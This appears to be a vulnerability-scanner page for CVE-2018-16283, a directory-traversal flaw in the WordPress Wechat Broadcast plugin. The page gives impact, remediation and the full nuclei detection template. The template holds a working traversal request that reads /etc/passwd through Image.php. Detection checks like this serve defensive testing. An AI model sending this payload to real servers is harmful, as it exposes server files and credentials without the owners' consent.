WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion

criticalseverity

9.8CVSS score

63.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.

Impact

Unauthenticated attackers can read arbitrary files on the WordPress server through directory traversal in the Image.php url parameter, potentially exposing wp-config.php containing database credentials, private keys, and other sensitive configuration files.

Fix

Update to the latest version of the WordPress Plugin Wechat Broadcast or apply the patch provided by the vendor to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2018-16283 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-16283

info:
  name: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
  author: 0x240x23elu
  severity: critical
  description: WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.
  impact: |
    Unauthenticated attackers can read arbitrary files on the WordPress server through directory traversal in the Image.php url parameter, potentially exposing wp-config.php containing database credentials, private keys, and other sensitive configuration files.
  remediation: |
    Update to the latest version of the WordPress Plugin Wechat Broadcast or apply the patch provided by the vendor to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45438
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16283
    - https://github.com/springjk/wordpress-wechat-broadcast/issues/14
    - http://seclists.org/fulldisclosure/2018/Sep/32
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/150202
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16283
    cwe-id: CWE-22
    epss-score: 0.63901
    epss-percentile: 0.99229
    cpe: cpe:2.3:a:wechat_brodcast_project:wechat_brodcast:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wechat_brodcast_project
    product: wechat_brodcast
    framework: wordpress
  tags: cve,cve2018,edb,seclists,wordpress,wp-plugin,lfi,wechat_brodcast_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from